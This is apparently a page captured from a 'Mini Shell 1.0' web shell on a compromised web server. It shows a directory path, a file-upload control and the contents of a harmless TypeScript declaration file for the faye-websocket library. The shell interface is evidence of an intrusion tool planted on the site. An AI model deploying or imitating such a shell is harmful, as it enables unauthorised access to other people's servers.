HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/thread-self/cwd/node_modules/pusher-js/src/d.ts/faye-websocket/
Upload File :
Current File : //proc/thread-self/cwd/node_modules/pusher-js/src/d.ts/faye-websocket/faye-websocket.d.ts
declare module 'faye-websocket' {
  interface MessageEvent {
    data: any;
  }

  interface CloseEvent {
    code: number;
    reason: string;
    wasClean: boolean;
  }

  export class Client {
    public onopen: () => void;
    public onmessage: (event: MessageEvent) => void;
    public onclose: (event: CloseEvent) => void;

    constructor(url: string);
    send(data: string): void;
    close(code?: number, reason?: string): void;
  }
}